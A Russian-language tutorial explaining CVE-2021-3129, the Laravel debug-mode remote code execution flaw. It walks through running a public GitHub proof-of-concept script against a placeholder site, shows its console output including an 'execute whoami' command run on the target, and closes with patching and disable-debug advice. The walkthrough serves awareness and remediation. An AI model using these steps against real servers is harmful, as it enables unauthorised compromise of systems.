В феврале 2021 года исследователь безопасности обнаружил серьёзную уязвимость в популярном PHP-фреймворке Laravel. Уязвимость, обозначенная как CVE-2021-3129, позволяет злоумышленникам выполнять произвольный код на сервере, на котором работает уязвимое приложение, что может привести к полной компрометации сервера.

Как работает эксплойт

Уязвимость возникает из-за ошибки в том, как Laravel обрабатывает пользовательский ввод в режиме «Debug».
 Режим отладки — это функция Laravel, которая позволяет разработчикам легко диагностировать ошибки, отображая подробные сообщения.

Однако если злоумышленник может отправить специально сформированный ввод в Laravel-приложение, работающее в режиме отладки, он может воспользоваться уязвимостью и выполнить произвольный код на сервере.

Proof of concept

В этом примере Proof of Concept мы используем скрипт, созданный Joshua van der Poll, чтобы продемонстрировать эксплуатацию уязвимости Laravel Debug (CVE-2021-3129).
 Эта уязвимость затрагивает Laravel-сайты как на Windows, так и на Linux.

Скрипт доступен на GitHub: joshuavanderpoll/CVE-2021-3129.
Python-скрипт проверяет наличие уязвимости и позволяет выполнять команды на целевой системе.

Чтобы начать, скачайте скрипт с GitHub и выполните шаги настройки, описанные в README.md.
 После настройки выполните команду:

$ python3 CVE-2021-3129.py

Вы увидите следующий вывод:

Laravel Debug Mode CVE script
[•] Made by: https://github.com/joshuavanderpoll/CVE-2021-3129
[•] Using PHPGGC: https://github.com/ambionics/phpggc
[?] Enter host (e.g. https://example.com/) : https://unsafe_laravel_site.com/
[@] Starting exploit on "https://unsafe_laravel_site.com/"...
[@] Testing vulnerable URL https://unsafe_laravel_site.com/_ignition/execute-solution...
[√] Host seems vulnerable!
[@] Searching Laravel log file path...
[•] Laravel seems to be running on a Windows based machine.
[√] Laravel log found: "C:\inetpub\wwwroot\UnsafeLaravel\storage\logs\laravel.log".
[•] Laravel version found: "7.30.4".
[•] Use "?" for a list of all possible actions.
[?] Please enter a command to execute:

Когда вы увидите сообщение о том, что хост уязвим, вы можете начинать выполнять команды. Например:

execute whoami

Вывод будет примерно таким:

[@] Executing command "whoami"...
[@] Generating payloads...
[√] Generated 12 payloads.
[@] Trying chain laravel/rce1 [1/12]...
[@] Clearing logs...
[@] Causing error in logs...
[√] Caused error in logs.
[@] Sending payloads...
[√] Sent payload.
[@] Converting payload...
[√] Converted payload.
[√] Result:

autorite nt\iusr

[?] Do you want to try the next chain? [Y/N] : n

Как видно, если уязвимость не исправлена, скрипт позволяет выполнять команды на целевой системе. Это может привести к компрометации сервера или установке бэкдоров.

Как исправить уязвимость

Команда разработчиков Laravel быстро выпустила исправление в версии Laravel 8.4.2.
Также был опубликован официальный security-advisory с рекомендацией обновиться как можно скорее.

Чтобы обновить Laravel до версии с патчем, выполните в корневой директории проекта:

composer update laravel/framework

Эта команда обновит Laravel до последней версии, включающей исправление CVE-2021-3129.

После обновления убедитесь, что в production-среде режим отладки отключён.
 Debug должен использоваться только при разработке и тестировании.

Итог

В заключение: CVE-2021-3129 — серьёзная уязвимость, позволяющая злоумышленнику выполнять произвольный код на сервере с уязвимым Laravel-приложением.
Она была исправлена в Laravel 8.4.2, поэтому если у вас установлена более старая версия, обновление критически важно.

Также обязательно отключайте Debug-режим в production-среде, чтобы минимизировать риск эксплуатации.